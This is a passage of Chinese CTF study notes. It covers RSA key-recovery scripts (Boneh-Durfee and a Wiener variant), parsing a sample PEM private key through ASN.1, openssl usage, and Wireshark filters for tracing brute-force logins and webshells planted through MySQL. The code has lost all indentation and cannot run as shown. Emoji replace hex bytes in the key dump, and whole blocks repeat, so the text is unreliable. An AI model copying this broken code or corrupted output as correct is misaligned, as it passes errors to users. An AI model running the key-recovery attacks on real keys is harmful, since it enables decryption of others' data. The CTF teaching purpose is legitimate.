# check if determinant is correctly bounded
det = BB.det()
bound = modulus^(mm*nn)
if det >= bound:
print ("We do not have det < bound. Solutions might not be found.")
print ("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
print ("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print ("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")
# display the lattice basis
if debug:
matrix_overview(BB, modulus^mm)
# LLL
if debug:
print ("optimizing basis of the lattice via LLL, this can take a long time")
BB = BB.LLL()
if debug:
print ("LLL is done!")
# transform vector i & j -> polynomials 1 & 2
if debug:
print ("looking for independent vectors in the lattice")
found_polynomials = False
for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):
# for i and j, create the two polynomials
PR.<w,z> = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)
# resultant
PR.<q> = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)
# are these good polynomials?
if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print ("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break
if not found_polynomials:
print ("no independant vectors could be found. This should very rarely happen...")
return 0, 0
rr = rr(q, q)
# solutions
soly = rr.roots()
if len(soly) == 0:
print ("Your prediction (delta) is too small")
return 0, 0
soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]
#
return solx, soly
def example():
############################################
# How To Use This Script
##########################################
#
# The problem to solve (edit the following values)
#
# the modulus
N =
# the public exponent
e =
# the hypothesis on the private exponent (the theoretical maximum is 0.292)
delta = 0.280 # this means that d < N^delta
#
# Lattice (tweak those values)
#
# you should tweak this (after a first run), (e.g. increment it until a solution is found)
m = 4 # size of the lattice (bigger the better/slower)
# you need to be a lattice master to tweak these
t = int((1-2*delta) * m) # optimization from Herrmann and May
X = 2*floor(N^delta) # this _might_ be too much
Y = floor(N^(1/2)) # correct if p, q are ~ same size
#
# Don't touch anything below
#
# Problem put in equation
P.<x,y> = PolynomialRing(ZZ)
A = int((N+1)/2)
pol = 1 + x * (A + y)
#
# Find the solutions!
#
# Checking bounds
if debug:
print ("=== checking values ===")
print ("* delta:", delta)
print ("* delta < 0.292", delta < 0.292)
print ("* size of e:", int(log(e)/log(2)))
print ("* size of N:", int(log(N)/log(2)))
print ("* m:", m, ", t:", t)
# boneh_durfee
if debug:
print ("=== running algorithm ===")
start_time = time.time()
solx, soly = boneh_durfee(pol, e, m, t, X, Y)
# found a solution?
if solx > 0:
print ("=== solution found ===")
if False:
print ("x:", solx)
print ("y:", soly)
d = int(pol(solx, soly) / e)
print ("private key found:", d)
else:
print ("=== no solution was found ===")
if debug:
print("=== %s seconds ===" % (time.time() - start_time))
if __name__ == "__main__":
example()
sage指令碼_維納變形(三素數pqr)
這一段程式碼求d
def wiener(e, n):
m = 12345
c = pow(m, e, n)
q0 = 1
list1 = continued_fraction(Integer(e) / Integer(n))
conv = list1.convergents()
for i in conv:
k = i.numerator()
q1 = i.denominator()
for r in range(20):
for s in range(20):
d = r * q1 + s * q0
m1 = pow(c, d, n)
if m1 == m:
return d
q0 = q1
c =
e =
n =
d=wiener(e, n)
print(d)
這一段程式碼是完整求flag的
from Crypto.Util.number import *
import gmpy2
import math
import libnum
c =
e =
n =
def plus(e, n):
m = 2
c = pow(m, e, n)
q0 = 1
list1 = continued_fraction(Integer(e)/Integer(n))
conv = list1.convergents()
for i in conv:
k = i.numerator()
#print(k)
q1 = i.denominator()
#print(q1)
for r in range(20):
for s in range(20):
d = r*q1 + s*q0
m1 = pow(c, d, n)
if m1 == m:
print(r,s)
return d
q0 = q1
d = plus(e, n)
print(d)
print(libnum.n2s(int(pow(c,d,n))))
PEM證書格式
-
證書解Base64後再轉換為16進位制輸出
from base64 import b64decode import binascii s = '''MIICWwIBAAKBgHBkeHn6Q67opdN4V1S3mI0SsUuYzzm+IbXZDz4yZOMWz5nDBYuJ SA8rRqDtqb7mtNdTGZZx7xe6tOwleqvkXn629mgUZZegyaBdBSPnUR6IUqduqpLo HRavrHr1IkI6oAmDEQzi1lCZ03x0jMKuoOKp9LBhP9ijCoy9iRh9tH+FAgMBAAEC gYAvLn5E9oKjUpcKh2Jh9hDcaBR1n9iebOrJ5C059v3TNyg/bFdPlHnjpE8qD5tK wJ76JbCAL6QnWgHJgJJWxq/EAy/9SG+eApaBo94Sb2B2A1WceDf8F1idkXUOvU/3 kd/wbw/gLZLya8WCFF4SUZx09TToMqSWDEJI4kN17pU5AQJBAJv9ShfSbaMNK31O kg9LSI7wFLq7iiFRl5kXvSKLsYB3HAKHNlV6/ZL1TV2jg37yf9Mi2f0Gx5AVXbwi /1ef9R0CQQC4c5EkR8VAw8lqePLwCkCJisXKAEOqPZFOiSCCIVnY+5J4kgiZiS33 rskWwsYAIBHVKiXSy+5NdvWk51MeYi+JAkBiZNvmuOJVVkpXaUcyhH9JQmEhBIj1 yVzBwbqY3trhOMCfS6DXPJRUrYzWgvzAB8Dfcn1kYHFjDkcpFD5SjGB1AkBtyKNH w8v820tjqu91vbRh6Q4GSBf+GL0G0IlfyrfudPXd+5VQxRxuAkM/39f3tR7IEFkI 2UZSJw7YArMvL2N5AkEAmVGTH6DU3ygzjCtdl4/2dhonSHcEovCFWGZuCqBjYEw6 IGYAlpOiv/BICMXrOBsdd1+4j6n1edxHSGH9q4Aoug==''' s = b64decode(s) print(binascii.hexlify(s))
得到
3082025b02010002818070647879fa43aee8a5d3785754b7988d12b14b98cf39be21b5d90f3e3264e316cf99c3058b89480f2b46a0eda9bee6b4d753199671ef17bab4ec257aabe45e7eb6f668146597a0c9a05d0523e7511e8852a76eaa92e81d16afac7af522423aa00983110ce2d65099d37c748cc2aea0e2a9f4b0613fd8a30a8cbd89187db47f8502030100010281802f2e7e44f682a352970a876261f610dc6814759fd89e6ceac9e42d39f6fdd337283f6c574f9479e3a44f2a0f9b4ac09efa25b0802fa4275a01c9809256c6afc4032ffd486f9e029681a3de126f607603559c7837fc17589d91750ebd4ff791dff06f0fe02d92f26bc582145e12519c74f534e832a4960c4248e24375ee9539010241009bfd4a17d26da30d2b7d4e920f4b488ef014babb8a2151979917bd228bb180771c028736557afd92f54d5da3837ef27fd322d9fd06c790155dbc22ff579ff51d024100b873912447c540c3c96a78f2f00a40898ac5ca0043aa3d914e8920822159d8fb9278920899892df7aec916c2c6002011d52a25d2cbee4d76f5a4e7531e622f8902406264dbe6b8e255564a57694732847f494261210488f5c95cc1c1ba98dedae138c09f4ba0d73c9454ad8cd682fcc007c0df727d646071630e4729143e528c607502406dc8a347c3cbfcdb4b63aaef75bdb461e90e064817fe18bd06d0895fcab7ee74f5ddfb9550c51c6e02433fdfd7f7b51ec8105908d94652270ed802b32f2f63790241009951931fa0d4df28338c2b5d978ff6761a27487704a2f08558666e0aa063604c3a2066009693a2bff04808c5eb381b1d775fb88fa9f579dc474861fdab8028ba
這便是原始的
ASN.1
格式內容,首先我們要知道ASN.1
是一種用來描述資料結構的抽象語法,它並不是只用來儲存金鑰,在ASN.1
中你可以自定義你的資料型別和數值約束等條件,你可以把它理解為一種序列化資料的格式。其中資料格式如下資料 長度 名稱 含義 30 1 標記符 代表ASN.1結構的開始 82 1 長度型別 代表後面跟著一個雙位元組長度 025b 2 長度 代表後續內容的總長度為603位元組 02 1 型別 代表整型 01 1 長度 代表1位元組 00 1 值 代表整數0 02 1 型別 代表整型 81 1 長度型別 代表後面跟著一個單位元組長度 80 1 長度 代表資料長度為128位元組 … 128 值 資料值1 … 以此往復,所以除了最開始的識別符號外,後續的內容都是由
型別
+長度
+值
構成的,而這些值根據他們出現的位置不同有著不同的含義,例如最開始出現的值0
在PEM中代表版本號資訊。隨後的資料值1代表模數。完整順序如下
版本 模數 - n 加密指數 - e 解密指數 - d 素因子1 - p 素因子2 - q 指數1 - dp 指數2 - dq 係數 - invert(q, p) 其他額外資訊
在瞭解了該格式後我們就能對上面的16進位制資料直接分段了
標識頭 30 總長度 82 025b 版本資訊 0201 00 n 028180 70647879fa43aee8a5d3785754b7988d12b14b98cf39be21b5d90f3e3264e316cf99c3058b89480f2b46a0eda9bee6b4d753199671ef17bab4ec257aabe45e7eb6f668146597a0c9a05d0523e7511e8852a76eaa92e81d16afac7af522423aa00983110ce2d65099d37c748cc2aea0e2a9f4b0613fd8a30a8cbd89187db47f85 e 0203 010001 d 028180 2f2e7e44f682a352970a876261f610dc6814759fd89e6ceac9e42d39f6fdd337283f6c574f9479e3a44f2a0f9b4ac09efa25b0802fa4275a01c9809256c6afc4032ffd486f9e029681a3de126f607603559c7837fc17589d91750ebd4ff791dff06f0fe02d92f26bc582145e12519c74f534e832a4960c4248e24375ee953901 p 0241 009bfd4a17d26da30d2b7d4e920f4b488ef014babb8a2151979917bd228bb180771c028736557afd92f54d5da3837ef27fd322d9fd06c790155dbc22ff579ff51d q 0241 00b873912447c540c3c96a78f2f00a40898ac5ca0043aa3d914e8920822159d8fb9278920899892df7aec916c2c6002011d52a25d2cbee4d76f5a4e7531e622f89 dp 0240 6264dbe6b8e255564a57694732847f494261210488f5c95cc1c1ba98dedae138c09f4ba0d73c9454ad8cd682fcc007c0df727d646071630e4729143e528c6075 dq 0240 6dc8a347c3cbfcdb4b63aaef75bdb461e90e064817fe18bd06d0895fcab7ee74f5ddfb9550c51c6e02433fdfd7f7b51ec8105908d94652270ed802b32f2f6379 inv(q,p) 0241 009951931fa0d4df28338c2b5d978ff6761a27487704a2f08558666e0aa063604c3a2066009693a2bff04808c5eb381b1d775fb88fa9f579dc474861fdab8028ba
現在回到本題我們也先進行base64解碼得到,因為這裡是金鑰的後半截,所以我們不能從前往後直接解析,需要先找到一個定位錨點,我們可以按照
02
先給資料初步分段3a1d7b10ba7f9f652b9ea83f81a15b2961e00cd63374f346a8d78f81dad1b697f3abe8eced0 02260d89f2d12bc9395c233012b6f744a380d1d0aed78c9fb52a28d95f858c630bd3b164e857b406f541311426d64d5f0b6e0d1 02818100befff9907f75bb7ad561131b5c76ae137bd67ae0e32b90f92b997b044277cab3dfeb84f255138127e1a4e53751a68db743a00ed8acc58f33107fe35db6b4813bc048db48bd530bcb35fba434dbb70e27d78aede2de0d4745df35a245417b8c74a31a7b55a77db45ebd6ed1dc4b3dcaa435a79dbf7240d96775372e64b58b0803 02818077a554614c111b51dea903a8e8222be795b45948805fc6f5ea67e60ad493f117b3033ea2ee84d87c0a29a87ea38908a93e313e08fe83dc91ba8695ba969d40f243addff620ee40bda8562ff5389661efd8b9d5976bacf2bc9a1cfc54d7704c7098441b1e7253760fc7dbcef7a417082e7492e8e0808f34d830c772e800714f41 0281801c1005fdea0c454075eb6e603dc49e2cf4abfd9fdf20be8b2d91be5650e1c2e18ccbd0dbbe0e4092b87f7ec212f812a8538247cc240e5eccd4e6c564367cece3f78b7cd482249a7dffef7a1fde0c56431a532a4283f7957a39a26ab61c39e7d81742c3ce40eea23aad40840b06ef0c3ff6362b623e8a32a715bcc6cf3b31333b 028181008488efbea72e9abac7f71085b86e9071bece170f8c92a387aebdcc89f8915c33739609a73cacd5559b3a56fd59082ed311bab49f42ea0ba6be5e253453db0fc8b5b6aab458163b8a013121fd5c554dcc51d81c57e60f59d9d7f8f4d45fab24365da039ed8fb5401cfaff0c8aae2191ae8bd742351d11034ff0f0c32fb0586810
不一定資料中出現了
02
就代表是資料開始的地方,因為也有可能資料中也包含02,我們要一一檢驗02
後面的長度標識定義的長度時候符合後續資料的長度,我們會發現第一塊後面的長度標識以及長度都不符合正常的定義,所以其實第一塊這裡的02是上一塊資料中的內容而非新資料的開始標識。最終我們可以得到3a1d7b10ba7f9f652b9ea83f81a15b2961e00cd63374f346a8d78f81dad1b697f3abe8eced002260d89f2d12bc9395c233012b6f744a380d1d0aed78c9fb52a28d95f858c630bd3b164e857b406f541311426d64d5f0b6e0d1 q 028181 00befff9907f75bb7ad561131b5c76ae137bd67ae0e32b90f92b997b044277cab3dfeb84f255138127e1a4e53751a68db743a00ed8acc58f33107fe35db6b4813bc048db48bd530bcb35fba434dbb70e27d78aede2de0d4745df35a245417b8c74a31a7b55a77db45ebd6ed1dc4b3dcaa435a79dbf7240d96775372e64b58b0803 dp 028180 77a554614c111b51dea903a8e8222be795b45948805fc6f5ea67e60ad493f117b3033ea2ee84d87c0a29a87ea38908a93e313e08fe83dc91ba8695ba969d40f243addff620ee40bda8562ff5389661efd8b9d5976bacf2bc9a1cfc54d7704c7098441b1e7253760fc7dbcef7a417082e7492e8e0808f34d830c772e800714f41 dq 028180 1c1005fdea0c454075eb6e603dc49e2cf4abfd9fdf20be8b2d91be5650e1c2e18ccbd0dbbe0e4092b87f7ec212f812a8538247cc240e5eccd4e6c564367cece3f78b7cd482249a7dffef7a1fde0c56431a532a4283f7957a39a26ab61c39e7d81742c3ce40eea23aad40840b06ef0c3ff6362b623e8a32a715bcc6cf3b31333b inv(q,p) 028181 008488efbea72e9abac7f71085b86e9071bece170f8c92a387aebdcc89f8915c33739609a73cacd5559b3a56fd59082ed311bab49f42ea0ba6be5e253453db0fc8b5b6aab458163b8a013121fd5c554dcc51d81c57e60f59d9d7f8f4d45fab24365da039ed8fb5401cfaff0c8aae2191ae8bd742351d11034ff0f0c32fb0586810
我們發現有用的資料為
q,dp,dq,inv(q,p)
from Crypto.Util.number import *
q = 0x00befff9907f75bb7ad561131b5c76ae137bd67ae0e32b90f92b997b044277cab3dfeb84f255138127e1a4e53751a68db743a00ed8acc58f33107fe35db6b4813bc048db48bd530bcb35fba434dbb70e27d78aede2de0d4745df35a245417b8c74a31a7b55a77db45ebd6ed1dc4b3dcaa435a79dbf7240d96775372e64b58b0803
dq = 0x1c1005fdea0c454075eb6e603dc49e2cf4abfd9fdf20be8b2d91be5650e1c2e18ccbd0dbbe0e4092b87f7ec212f812a8538247cc240e5eccd4e6c564367cece3f78b7cd482249a7dffef7a1fde0c56431a532a4283f7957a39a26ab61c39e7d81742c3ce40eea23aad40840b06ef0c3ff6362b623e8a32a715bcc6cf3b31333b
c = 2329206064672111950904450292941421573350591294207157652026787098178545948258554492347649016030892000747909819064473414536692222493030122267884839986067073054508582403564557167583565364976046083954888777809177108315052118912603290095925912298584322873410379937455462434313487981715516761071523410121549134193124709612876311518391130974466069686830456036397449773159386026998482557500868323733155606973727191287617806211911722356975478414165867941665666556476756617951672736466672410799762479373101996896644454778482896784598378016390592459460753042458284030795009957030383305268628413551730442224404807955926606496353
m = pow(c, dq, q)
print(long_to_bytes(m))
## openssl 格式
直接輸入`openssl help`你會發現列印出來了命令列表
Standard commands
asn1parse ca ciphers cms
crl crl2pkcs7 dgst dhparam
dsa dsaparam ec ecparam
enc engine errstr gendsa
genpkey genrsa help list
nseq ocsp passwd pkcs12
pkcs7 pkcs8 pkey pkeyparam
pkeyutl prime rand rehash
req rsa rsautl s_client
s_server s_time sess_id smime
speed spkac srp storeutl
cast-cbc cast5-cbc cast5-cfb cast5-ecb
cast5-ofb des des-cbc des-cfb
des-ecb des-ede des-ede-cbc des-ede-cfb
des-ede-ofb des-ede3 des-ede3-cbc des-ede3-cfb
des-ede3-ofb des-ofb des3 desx
idea idea-cbc idea-cfb idea-ecb
idea-ofb rc2 rc2-40-cbc rc2-64-cbc
rc2-cbc rc2-cfb rc2-ecb rc2-ofb
rc4 rc4-40 seed seed-cbc
seed-cfb seed-ecb seed-ofb sm4-cbc
sm4-cfb sm4-ctr sm4-ecb sm4-ofb
這裡的每一項都代表特定的演算法或者證書格式,而我們這裡涉及的是`rsa`,所以我們使用`openssl rsa -help`進一步檢視幫助文件
Usage: rsa [options]
Valid options are:
-help Display this summary 檢視幫助
-inform format Input format, one of DER PEM 指定輸入格式
-outform format Output format, one of DER PEM PVK 指定輸出格式
-in val Input file 輸入檔案
-out outfile Output file 輸出檔案
-pubin Expect a public key in input file 期望輸入時一個公鑰
-pubout Output a public key 輸出公鑰檔案
-passout val Output file pass phrase source 給輸出檔案設定密碼
-passin val Input file pass phrase source 輸入檔案的密碼
-RSAPublicKey_in Input is an RSAPublicKey 指定輸入是一個RSA公鑰
-RSAPublicKey_out Output is an RSAPublicKey 指定輸出是一個RSA公鑰
-noout Don't print key out 不要列印輸入的金鑰內容
-text Print the key in text 用文字格式列印金鑰內容
-modulus Print the RSA key modulus 列印RSA金鑰的模數
-check Verify key consistency 檢測金鑰是否一致
-* Any supported cipher 其他引數
-pvk-strong Enable 'Strong' PVK encoding level (default) 啟用“強”PVK編碼級別(預設)
-pvk-weak Enable 'Weak' PVK encoding level 啟用“弱”PVK編碼級別
-pvk-none Don't enforce PVK encoding 不強制執行PVK編碼
-engine val Use engine, possibly a hardware device 指定解析引擎
這裡列出了和`rsa`證書有關的項,後面中文內容是我額外新增的釋義,那麼我們要檢視金鑰內容的話直接
openssl rsa -in key.pem -inform PEM
會發現他將金鑰內容又列印了一遍,這是因為它預設就是隻做解析不會有其他操作,我們需要具體指定我們想要的操作,例如`-text`以文字內容輸出引數,
openssl rsa -in key.pem -inform PEM -text
此時我們得到輸出
RSA Private-Key: (1023 bit, 2 primes)
modulus:
70:64:78:79:fa:43:ae:e8:a5:d3:78:57:54:b7:98:
8d:12:b1:4b:98:cf:39:be:21:b5:d9:0f:3e:32:64:
e3:16:cf:99:c3:05:8b:89:48:0f:2b:46:a0:ed:a9:
be:e6:b4:d7:53:19:96:71:ef:17:ba:b4:ec:25:7a:
ab:e4:5e:7e:b6:f6:68:14:65:97:a0:c9:a0:5d:05:
23:e7:51:1e:88:52:a7:6e:aa:92:e8:1d:16:af:ac:
7a:f5:22:42:3a:a0:09:83:11:0c:e2:d6:50:99:d3:
7c:74:8c:c2:ae:a0:e2:a9:f4:b0:61:3f:d8:a3:0a:
8c:bd:89:18:7d:b4:7f:85
publicExponent: 65537 (0x10001)
privateExponent:
2f:2e:7e:44:f6:82:a3:52:97:0a:87:62:61:f6:10:
dc:68:14:75:9f:d8:9e:6c:ea:c9:e4:2d:39:f6:fd:
d3:37:28:3f:6c:57:4f:94:79:e3:a4:4f:2a:0f:9b:
4a:c0:9e:fa:25:b0:80:2f:a4:27:5a:01:c9:80:92:
56:c6:af:c4:03:2f:fd:48:6f:9e:02:96:81:a3🇩🇪
12:6f:60:76:03:55:9c:78:37:fc:17:58:9d:91:75:
0e:bd:4f:f7:91:df:f0:6f:0f:e0:2d:92:f2:6b:c5:
82:14:5e:12:51:9c:74:f5:34:e8:32:a4:96:0c:42:
48:e2:43:75:ee:95:39:01
prime1:
00:9b:fd:4a:17:d2:6d:a3:0d:2b:7d:4e:92:0f:4b:
48:8e:f0:14:ba:bb:8a:21:51:97:99:17:bd:22:8b:
b1:80:77:1c:02:87:36:55:7a:fd:92:f5:4d:5d:a3:
83:7e:f2:7f:d3:22:d9:fd:06:c7:90:15:5d:bc:22:
ff:57:9f:f5:1d
prime2:
00:b8:73:91:24:47:c5:40:c3:c9:6a:78:f2:f0:0a:
40:89:8a:c5:ca:00:43:aa:3d:91:4e:89:20:82:21:
59:d8:fb:92:78:92:08:99:89:2d:f7:ae:c9:16:c2:
c6:00:20:11:d5:2a:25:d2:cb:ee:4d:76:f5:a4:e7:
53:1e:62:2f:89
exponent1:
62:64:db:e6:b8:e2:55:56:4a:57:69:47:32:84:7f:
49:42:61:21:04:88:f5:c9:5c:c1:c1:ba:98🇩🇪da:
e1:38:c0:9f:4b:a0:d7:3c:94:54:ad:8c:d6:82:fc:
c0:07:c0:df:72:7d:64:60:71:63:0e:47:29:14:3e:
52:8c:60:75
exponent2:
6d:c8:a3:47:c3:cb:fc:db:4b:63:aa:ef:75:bd:b4:
61:e9:0e:06:48:17:fe:18:bd:06:d0:89:5f:ca:b7:
ee:74:f5:dd:fb:95:50:c5:1c:6e:02:43:3f:df:d7:
f7:b5:1e:c8:10:59:08:d9:46:52:27:0e:d8:02:b3:
2f:2f:63:79
coefficient:
00:99:51:93:1f:a0:d4:df:28:33:8c:2b:5d:97:8f:
f6:76:1a:27:48:77:04:a2:f0:85:58:66:6e:0a:a0:
63:60:4c:3a:20:66:00:96:93:a2:bf:f0:48:08:c5:
eb:38:1b:1d:77:5f:b8:8f:a9:f5:79:dc:47:48:61:
fd🆎80:28:ba
我們可以看到,它解析出了這個一個RSA的私鑰檔案,裡面包含
modulus - 模數 - n
publicExponent - 加密指數 - e
privateExponent - 解密指數 - d
prime1 - 素因子 - p
prime2 - 素因子 - q
可以發現這裡面直接包含了我們涉及到的所有RSA引數,除了這些我們已經見過的引數之外,還包含一些其他引數,這些引數是用來進行快速解密的CRT引數,實際上他們分別是
exponent1 - dp
exponent2 - dq
coefficient - invert(p, q)
於`openssl`我們還可以使用它進行轉換各類金鑰格式,例如我們將金鑰轉換為`DER`格式
openssl rsa -in key.pem -inform PEM -outform DER -out key.der
又或者從私鑰生成公鑰檔案
openssl rsa -in key.pem -inform PEM -pubout
## **流量分析:**
### **分析Ip:**
**分析flag.pcapng資料包檔案找到駭客的IP地址,並將駭客的IP地址(**
**10.0.0.129),直接篩選arp協議**
**透過分析資料包檔案flag.pcapng分析出駭客透過工具對目標伺服器的哪些服務進行了密碼暴力列舉滲透測試,將服務對應的埠依照從小到大的順序依次排列作為Flag值(如:77/88/99/166/1888):**
**開啟過濾框輸入 ip.addr == 10.0.0.129**
**透過分析資料包檔案flag.pcapng分析駭客掃描後可能直接對目標伺服器的某個服務實施了攻擊,繼續檢視資料包檔案flag.pcapng分析出駭客成功破解了哪個服務的密碼,並將該服務的版本號作為Flag:**
**這個簡單我們直接篩選mysql協議,右鍵追蹤tcp資料流**
**透過分析資料包檔案flag.pcapng,將駭客透過資料庫寫入了木馬,將寫入的第二個木馬名稱作為Flag值提交:**
**透過題目是從資料庫上傳的篩選MySQL協議**
**透過分析資料包檔案flag.pcapng,駭客透過資料庫寫入了木馬,將駭客寫入的一句話木馬的連線密碼作為Flag值提交:**
**Cmd**
**透過分析資料包檔案flag.pcapng,找出駭客連線一句話木馬後檢視了什麼檔案,將駭客檢視的檔名稱作為Flag值提交:**
**這個時候我們就需要篩選http協議來看使用的命令了**
**透過分析資料包檔案flag.pcapng,找出駭客已經獲取到目標伺服器的基本資訊,請將駭客獲取到的目標伺服器主機名作為Flag值提交:**
**提供一個思路:我們進行過濾nbns資料包後進行追蹤udp資料流可以得到主機名,WINS伺服器解析(NBNS資料包),WINS伺服器用於登記記錄計算機NetBIOS名稱和IP地址的對應關係,供區域網計算機查詢。所以駭客使用工具nbtscan進行掃描的。**
**提供一個思路:我們進行過濾nbns資料包後進行追蹤udp資料流可以得到主機名,WINS伺服器解析(NBNS資料包),WINS伺服器用於登記記錄計算機NetBIOS名稱和IP地址的對應關係,供區域網計算機查詢。所以駭客使用工具nbtscan進行掃描的。:**
**直接進行過濾ftp-data包,追蹤tcp流,顯示和儲存資料為原始資料然後save as匯出儲存為圖片格式即可。**
**dns流量分析:**
**tshark -r PrivateChannel.pcap.pcapng -x 'icmp and ip.src==192.168.50.10'|grep 0010**
**經過一些擺弄資料之後,我們注意到ICMP資料包的所有IP層的識別符號都在ASCII值範圍(32-126)之內。最值得注意的是,當只檢視從IP 192.168.50.10到ICMP的請求時,ID開始拼寫“這裡是你的標誌” 192.168.0.50。要檢視標誌,在wireshark中應用過濾器,icmp and ip.src==192.168.50.10並向下滾動請求以注意識別符號位元組中的標誌**
**網站賬號分析:**
**http.host contains tribalwars 過濾tribalwars網站**
**USB流量分析:**
**tshark -r usb.pcap -T fields -e usb.capdata > usbdata.txt**
**tshark -r usb.pcap -T fields -e usb.capdata | sed '/\s*$/d' > usbdata.txt #提取並去除空行**
**鍵盤流量:**
**tshark -r "ez_usb.pcapng" -Y "usb.src==\"2.8.1\" && usb.dst==host" -T fields -e usbhid.data > a.txt**
**tshark -r "ez_usb.pcapng" -Y "usb.src==\"2.10.1\" && usb.dst==host" -T fields -e usbhid.data > b.txt**
**埠篩選:**
**tcp.port == 80:顯示使用指定TCP埠的資料包**
**udp.port == 53:顯示使用指定UDP埠的資料包**
**port 80:顯示源或目標埠為指定埠的資料包**
**IP地址篩選:**
**ip.addr == 192.168.0.1:顯示與指定IP地址相關的所有資料包**
**src host 192.168.0.1:顯示源IP地址為指定地址的資料包**
**dst host 192.168.0.1:顯示目標IP地址為指定地址的資料包**
**邏輯運算子:**
**and:使用AND邏輯運算子連線多個條件,例如 tcp and ip.addr == 192.168.0.1**
**or:使用OR邏輯運算子連線多個條件,例如 tcp or udp**
**not:使用NOT邏輯運算子排除滿足條件的資料包,例如 not tcp**
**比較運算子:**
**==:等於,例如 http.request.method == "POST"**
**!=:不等於,例如 ip.addr != 192.168.0.1**
**<、>:小於、大於,例如 tcp.len > 100**
**tshark -r stego.pcap -T fields -e tcp.urgent_pointer|egrep -vi "^0$"|tr '\n' ','**
**工控類流量分析:**
**modbus流量分析:**
**modbus.func_code==06**
**暫存器功能碼**
**03:讀取**
**06:寫入單個**
**16:寫入多個**
***\*7F\**對應的ASCII是嘛呢,原來是DEL,0D表示的是回車。**
| **0x01** | **讀輸出線圈** |
| -------- | -------------------- |
| **0x02** | **讀輸入線圈** |
| **0x03** | **讀保持暫存器** |
| **0x04** | **讀輸入暫存器** |
| **0x05** | **寫單個線圈** |
| **0x06** | **寫單個保持暫存器** |
| **0x07** | **讀取異常狀態** |
| **0x0F** | **寫多個線圈** |
| **0x10** | **寫多個保持暫存器** |
| **0x14** | **讀取檔案記錄** |
| **0x15** | **寫入檔案記錄** |
| **0x16** | **掩碼寫暫存器** |
| **0x18** | **讀取先進先出佇列** |
| **事務標識(2B)** | **協議標識(2B)** | **長度(2B)** | **單元識別符號(1B)** | **功能碼(1B)** | **資料(nB)** |
| ---------------- | ---------------- | ------------ | ------------------ | -------------- | ------------ |
| | | | | | |
**MMS流量分析:**
- **initiate(可以理解為握手)**
**initiate-RequestPDU**
**initiate-ResponsePDU**
- **confirmed(可以理解為互動,即傳資料)**
**confirmed-RequestPDU**
**confirmed-ResponsePDU**
**(mms) && (mms.confirmedServiceRequest != 4) 檢視confirmedService的值為4的資料包**
**((mms)) && (mms.domainId != "IEDRelay1") 檢視domainId和IEDRelay1的資料**
**(mms) && (mms.domainId) && !(mms.itemId contains "LLN0") 查詢LLNO開頭資料包**
**mms.fileOpen == frsmID 檢視檔案操作**
**http.host==magentonotes.com**
**http.host contains magentonotes.com**
**//過濾經過指定域名的http資料包,這裡的host值不一定是請求中的域名**
**http.response.code==302**
**//過濾http響應狀態碼為302的資料包**
**http.response==1**
**//過濾所有的http響應包**
**http.request==1**
**//過濾所有的http請求,貌似也可以使用http.request**
**http.request.method==POST**
**//wireshark過濾所有請求方式為POST的http請求包,注意POST為大寫**
**http.cookie contains guid**
**//過濾含有指定cookie的http資料包**
**http.request.uri==”/online/setpoint”**
**//過濾請求的uri,取值是域名後的部分**
**http.request.full_uri==” http://task.browser.360.cn/online/setpoint”**
**//過濾含域名的整個url則需要使用http.request.full_uri**
**http.server contains “nginx”**
**//過濾http頭中server欄位含有nginx字元的資料包**
**http.content_type == “text/html”**
**//過濾content_type是text/html的http響應、post包,即根據檔案型別過濾http資料包**
**http.content_encoding == “gzip”**
**//過濾content_encoding是gzip的http包**
**http.transfer_encoding == “chunked”**
**//根據transfer_encoding過濾**
**http.content_length == 279**
**http.content_length_header == “279″**
**//根據content_length的數值過濾**
**http.server**
**//過濾所有含有http頭中含有server欄位的資料包**
**http.request.version == “HTTP/1.1″**
**//過濾HTTP/1.1版本的http包,包括請求和響應**
**http.response.phrase == “OK”**
**//過濾http響應中的phrase**
### 資料包分析:
**tcp.connection.syn**過濾帶有syn(SYN:發起一個新連線),資料包,⼤量的建⽴連線請求。
**過濾尋找埠** ip.src == 172.16.1.110 and ip.dst == 172.16.1.18 and tcp.connection.syn connection(連線)
查詢包含login的telnet協議 **telnet contains "login"** contains(包含) telnet協議在不登入伺服器的情況下,就會顯示其**主機名,密碼,使用者等**。
**木馬:into outfile**
**http contains "horse.php"** 透過查詢木馬檔案查詢傳輸的檔案
**異常⽤戶:*suictsr247*:x 503:0::/home/guest:/bin/bash**
查詢:**tcp contains "suictsr247"**
**FTP登入成功的狀態碼是230**
**ftp contains "230" 或 ftp.response.code == 230**
ftp在進⾏⽂件傳輸的時候,⾛的是ftp-data協議,過濾ftp-data
找到檔案,檢視原始資料,ffd8為jpg檔案匯出為jpg
檢視伺服器主機名的協議有:
telnet
ssh (加密的,可以適當性忽略)
http(如果存在命令執⾏漏洞,就有可能檢視主機名)
3306 mysql埠
使⽤ mysql.command 過濾規則來過濾出mysql執⾏的命令,且查詢的內容是 select database(),那麼就判定mysql是登入成功。
在mysql登入錯誤會返回1045狀態碼
**sql盲注分析**
http.host==magentonotes.com
http.host contains magentonotes.com
//過濾經過指定域名的http資料包,這裡的host值不一定是請求中的域名
http.response.code==302
//過濾http響應狀態碼為302的資料包
http.response==1
//過濾所有的http響應包
http.request==1
//過濾所有的http請求,貌似也可以使用http.request
http.request.method==POST
//wireshark過濾所有請求方式為POST的http請求包,注意POST為大寫
http.cookie contains guid
//過濾含有指定cookie的http資料包
http.request.uri==”/online/setpoint”
//過濾請求的uri,取值是域名後的部分
http.request.full_uri==” http://task.browser.360.cn/online/setpoint”
//過濾含域名的整個url則需要使用http.request.full_uri
http.server contains “nginx”
//過濾http頭中server欄位含有nginx字元的資料包
http.content_type == “text/html”
//過濾content_type是text/html的http響應、post包,即根據檔案型別過濾http資料包
http.content_encoding == “gzip”
//過濾content_encoding是gzip的http包
http.transfer_encoding == “chunked”
//根據transfer_encoding過濾
http.content_length == 279
http.content_length_header == “279″
